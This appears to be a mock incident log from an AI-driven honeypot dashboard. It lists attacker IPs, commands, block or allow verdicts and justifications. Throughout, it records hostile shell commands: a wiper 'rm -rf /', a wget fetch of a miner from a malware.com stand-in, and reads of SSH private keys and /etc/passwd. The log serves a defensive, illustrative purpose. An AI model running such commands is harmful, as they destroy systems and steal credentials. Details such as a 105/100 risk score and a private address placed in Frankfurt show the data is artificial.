

NEURAL CORE: INCIDENT REPORT

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 03:16:51 Lat: 2.32s	82.12.99.1 Bucharest, Romania Orange	BLOCK Risk: 105/100	> rm -rf /	Destructive wiper command execution attempted. Immediate connection termination forced.
2026-02-25 03:16:06 Lat: 3.22s	118.10.24.8 Seoul, South Korea KT	BLOCK Risk: 95/100	> wget http://malware.com/miner.sh	Attempting to download external payload. Known malicious URI signature triggered block.
2026-02-25 03:15:21 Lat: 3.47s	114.55.10.2 Nanjing, China China Telecom	BLOCK Risk: 95/100	> cat ~/.ssh/id_rsa	Private SSH key exfiltration attempt. Sensitive credential access blocked.
2026-02-25 03:14:36 ⌚ Session duration: 22.9 seconds	82.12.99.1 Bucharest, Romania Orange	DISCONNECT	> CONNECTION TERMINATED	—
2026-02-25 03:13:51 Lat: 3.71s	13.34.1.99 Mumbai, India Jio	BLOCK Risk: 96/100	> rm -rf /	Destructive wiper command execution attempted. Immediate connection termination forced.
2026-02-25 03:13:06 Lat: 2.28s	177.34.1.99 Sao Paulo, Brazil Vivo	ALLOW Risk: 13/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 03:12:21	185.10.24.8	ALLOW	> crontab -l	Checking local scheduled tasks. Permitted to profile attacker persistence strategy.
Lat: 1.87s	Moscow, Russia	Risk: 50/100	Rostelecom	
2026-02-25 03:11:36	177.34.1.99	ALLOW	> cd /tmp	Navigating to world-writable directory. Allowed to observe payload stager behavior.
Lat: 2.69s	Sao Paulo, Brazil	Risk: 25/100	Vivo	
2026-02-25 03:10:51	192.168.50.253	BLOCK	> wget http://malware.com/miner.sh	Attempting to download external payload. Known malicious URI signature triggered block.
Lat: 1.74s	Frankfurt, Germany	Risk: 98/100	Local Testnet Node	
2026-02-25 03:10:06	82.12.99.1	BLOCK	> cat ~/.ssh/id_rsa	Private SSH key exfiltration attempt. Sensitive credential access blocked.
Lat: 1.90s	Bucharest, Romania	Risk: 88/100	Orange	
2026-02-25 03:09:21	54.12.99.1	BLOCK	> cat /etc/passwd	Critical system file read attempt detected. High probability of reconnaissance phase progression.
Lat: 1.65s	Ashburn, USA	Risk: 85/100	Amazon AWS	
2026-02-25 03:08:36	89.20.14.5	BLOCK	> cat /etc/passwd	Critical system file read attempt detected. High probability of reconnaissance phase progression.
Lat: 2.79s	Amsterdam, Netherlands	Risk: 84/100	KPN	

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 03:07:51 Lat: 1.95s	80.20.14.5 London, UK BT	ALLOW Risk: 58/100	> crontab -l	Checking local scheduled tasks. Permitted to profile attacker persistence strategy.
2026-02-25 03:07:06 Lat: 2.02s	177.34.1.99 Sao Paulo, Brazil Vivo	ALLOW Risk: 56/100	> crontab -l	Checking local scheduled tasks. Permitted to profile attacker persistence strategy.
2026-02-25 03:06:21 Lat: 2.61s	104.55.10.2 Cape Town, South Africa Vodacom	BLOCK Risk: 89/100	> chmod +x miner.sh	Execution privilege escalation attempt on staged binary. Blocked to prevent payload detonation.
2026-02-25 03:05:36 Lat: 1.43s	80.20.14.5 London, UK BT	BLOCK Risk: 96/100	> rm -rf /	Destructive wiper command execution attempted. Immediate connection termination forced.
2026-02-25 03:04:51 Lat: 1.74s	89.20.14.5 Amsterdam, Netherlands KPN	ALLOW Risk: 10/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.
2026-02-25 03:04:06 Lat: 2.00s	185.10.24.8 Moscow, Russia Rostelecom	ALLOW Risk: 10/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 03:03:21 Lat: 2.05s	177.34.1.99 Sao Paulo, Brazil Vivo	ALLOW Risk: 10/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.
2026-02-25 03:02:36 Lat: 1.51s	177.34.1.99 Sao Paulo, Brazil Vivo	BLOCK Risk: 86/100	> cat /etc/passwd	Critical system file read attempt detected. High probability of reconnaissance phase progression.
2026-02-25 03:01:51 Lat: 2.91s	192.168.50.253 Frankfurt, Germany Local Testnet Node	ALLOW Risk: 25/100	> cd /tmp	Navigating to world-writable directory. Allowed to observe payload stager behavior.
2026-02-25 03:01:06 Lat: 2.19s	185.10.24.8 Moscow, Russia Rostelecom	ALLOW Risk: 23/100	> cd /tmp	Navigating to world-writable directory. Allowed to observe payload stager behavior.
2026-02-25 03:00:21 Lat: 1.53s	82.12.99.1 Bucharest, Romania Orange	ALLOW Risk: 23/100	> whoami	Basic user enumeration. Benign activity mapped to low-interaction state.
2026-02-25 02:59:36 Lat: 2.42s	89.20.14.5 Amsterdam, Netherlands KPN	BLOCK Risk: 98/100	> wget http://malware.com/miner.sh	Attempting to download external payload. Known malicious URI signature triggered block.

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 02:58:51	177.34.1.99	BLOCK	> rm -rf /	Destructive wiper command execution attempted. Immediate connection termination forced.
Lat: 3.78s	Sao Paulo, Brazil Vivo	Risk: 96/100		
2026-02-25 02:58:06	114.55.10.2 Nanjing, China China Telecom	ALLOW	> whoami	Basic user enumeration. Benign activity mapped to low-interaction state.
Lat: 2.62s		Risk: 19/100		
2026-02-25 02:57:21	54.12.99.1 Ashburn, USA Amazon AWS	DISCONNECT	> CONNECTION TERMINATED	—
Lat: 3.47s				
⌚ Session duration: 34.7 seconds				
2026-02-25 02:56:36	118.10.24.8 Seoul, South Korea KT	BLOCK	> cat ~/.ssh/id_rsa	Private SSH key exfiltration attempt. Sensitive credential access blocked.
Lat: 2.36s		Risk: 91/100		
2026-02-25 02:55:51	104.55.10.2 Cape Town, South Africa Vodacom	BLOCK	> chmod +x miner.sh	Execution privilege escalation attempt on staged binary. Blocked to prevent payload detonation.
Lat: 3.74s		Risk: 91/100		
2026-02-25 02:55:06	82.12.99.1 Bucharest, Romania Orange	ALLOW	> crontab -l	Checking local scheduled tasks. Permitted to profile attacker persistence strategy.
Lat: 2.05s		Risk: 53/100		
2026-02-25 02:54:21	54.12.99.1 Ashburn, USA Amazon AWS	BLOCK	> wget http://malware.com/miner.sh	Attempting to download external payload. Known malicious URI signature triggered block.
Lat: 3.07s		Risk: 97/100		

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 02:53:36 ⌚ Session duration: 47.8 seconds	89.20.14.5 Amsterdam, Netherlands KPN	DISCONNECT	> CONNECTION TERMINATED	—
2026-02-25 02:52:51 Lat: 3.72s	54.12.99.1 Ashburn, USA Amazon AWS	ALLOW Risk: 12/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.
2026-02-25 02:52:06 ⌚ Session duration: 23.0 seconds	177.34.1.99 Sao Paulo, Brazil Vivo	DISCONNECT	> CONNECTION TERMINATED	—
2026-02-25 02:51:21 ⌚ Session duration: 11.0 seconds	54.12.99.1 Ashburn, USA Amazon AWS	DISCONNECT	> CONNECTION TERMINATED	—
2026-02-25 02:50:36 Lat: 1.53s	80.20.14.5 London, UK BT	ALLOW Risk: 21/100	> cd /tmp	Navigating to world-writable directory. Allowed to observe payload stager behavior.
2026-02-25 02:49:51 ⌚ Session duration: 8.0 seconds	54.12.99.1 Ashburn, USA Amazon AWS	DISCONNECT	> CONNECTION TERMINATED	—
2026-02-25 02:49:06 Lat: 2.09s	54.12.99.1 Ashburn, USA Amazon AWS	ALLOW Risk: 16/100	> ls -la	Standard reconnaissance command. Allowed for intelligence gathering.

Timestamp & Latency	Attacker Origin	Verdict & Risk	Command	AI Justification
2026-02-25 02:48:21 Lat: 2.40s	80.20.14.5 London, UK BT	BLOCK Risk: 95/100	> rm -rf /	Destructive wiper command execution attempted. Immediate connection termination forced.
2026-02-25 02:47:36 Lat: 1.22s	192.168.50.253 Frankfurt, Germany Local Testnet Node	ALLOW Risk: 29/100	> cd /tmp	Navigating to world-writable directory. Allowed to observe payload stager behavior.